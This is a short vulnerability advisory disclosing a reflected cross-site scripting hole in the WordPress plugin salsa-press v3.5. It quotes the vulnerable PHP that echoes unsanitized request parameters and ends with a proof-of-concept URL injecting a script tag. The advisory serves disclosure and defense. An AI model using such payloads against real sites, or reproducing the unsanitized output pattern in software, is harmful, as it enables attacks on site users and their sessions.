Advisory #: 402
Title: Reflected XSS in wordpress plugin salsa-press v3.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/salsa-press
Downloads: 2168
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: salsa-press
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./salsa-press/admin/embed.php: 33: <p><em>Confused? Scared? <a target="_blank" href="<?php echo SALSAPRESS_SALSA_BASE_URL; ?>/dia/hq/reports/edit?table=report&key=<?php echo $_GET['key']; ?>'">Check out your report here</a></em></p> 108: <input name="u<?php echo $i->key; ?>" type="text" value="<?php echo $_GET['inputs'][$a]; ?>"></li> The variable key appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./salsa-press/admin/embed.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/salsa-press/admin/embed.php?key="><script>alert(1);</script><"